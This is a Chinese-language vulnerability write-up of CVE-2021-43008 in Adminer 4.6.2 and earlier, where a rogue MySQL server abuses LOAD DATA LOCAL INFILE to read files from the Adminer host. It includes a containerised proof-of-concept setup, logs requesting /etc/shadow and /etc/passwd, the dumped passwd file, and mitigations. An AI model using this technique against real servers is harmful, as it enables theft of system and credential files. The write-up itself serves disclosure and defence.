Adminer 是一个网页工具(PHP),用于轻松管理 MySQL、PostgreSQL、SQLite 或 SQL Server 数据库。 它通常作为 phpMyAdmin 的轻量级替代方案部署。
受影响版本:Adminer ≤ 4.6.2
Adminer 允许连接到任何远程 MySQL 服务器。 然而,在连接到 MySQL 服务器时,客户端(此处为 Adminer)会接受:
在受影响版本中,Adminer 未能正确验证 MySQL 服务器的响应。
结果: 攻击者控制的 MySQL 服务器可以请求:
“读取托管 Adminer 的机器或容器上的这个本地文件,并将其发送给我。”
此机制与 MySQL 数据包有关:
0xFB | filename → 触发本地文件读取。
Adminer 4.6.2 允许用户指定外部 MySQL 服务器并自由连接。 而 MySQL 默认甚至允许使用:
LOAD DATA LOCAL INFILE因此: Adminer → 连接到恶意服务器 → 恶意服务器请求文件 → Adminer 发送文件。
这就是漏洞的本质。
攻击者必须:
LOAD DATA LOCAL INFILE 数据包。无须 root 密码即可泄露本地文件:Adminer 以 PHP 应用身份在目标服务器上执行该操作。
攻击者可以:
利用窃取的 MySQL 凭据(第二步),攻击者可以进一步:
PoC 在隔离且容器化的环境中进行,以避免任何风险。
localhost:8080 在本地暴露0xFB filename 数据包,强制 Adminer 读取本地文件。adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
├── rogue_mysql_server.py
├── requirements.txt
└── Dockerfile
docker compose build && docker compose up -d
在 http://localhost:8080 中:
rogue_mysql:33306LOAD DATA LOCAL INFILE '/etc/passwd'。/etc/passwd。stolen_file.txt。使用以下命令查看恶意服务器日志:
docker logs -f rogue_mysql
预期结果:
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,216:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
查看 stolen_file.txt 的内容:
docker exec -it rogue_mysql sh
进入容器后,可以查看文件内容,包括 stolen_file.txt
# ls
mysql.log requirements.txt rogue_mysql_server.py stolen_file.txt
# cat stolen_file.txt
结果:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
此结果明确证明了漏洞的存在。
最可靠的解决方案: 升级到 Adminer ≥ 4.6.3
后续版本修复了网络行为。
从 Adminer 4.7.x 开始,引入了多项保护措施:
Adminer 现在默认禁止 LOAD DATA LOCAL INFILE
即:
→ 结果:你的恶意 MySQL 服务器无法再窃取文件。
Adminer 在发送到服务器之前过滤客户端操作
这阻止了外部连接使用危险函数。
额外的输入验证机制
新版本会检查:
将 Adminer 限制为仅内部主机:
生产环境中的 Adminer 必须始终指向内部 MySQL。
LOCAL INFILE防止通过合法 MySQL 客户端窃取:
[mysqld]
local_infile=0
或:
SET GLOBAL local_infile=0;
Adminer 不应在互联网上可访问。
生产环境中:
Adminer 应被视为一个临时工具:
CVE-2021-43008 是 Adminer ≤ 4.6.2 中的一个严重漏洞,允许:
这完美地说明了以下重要性: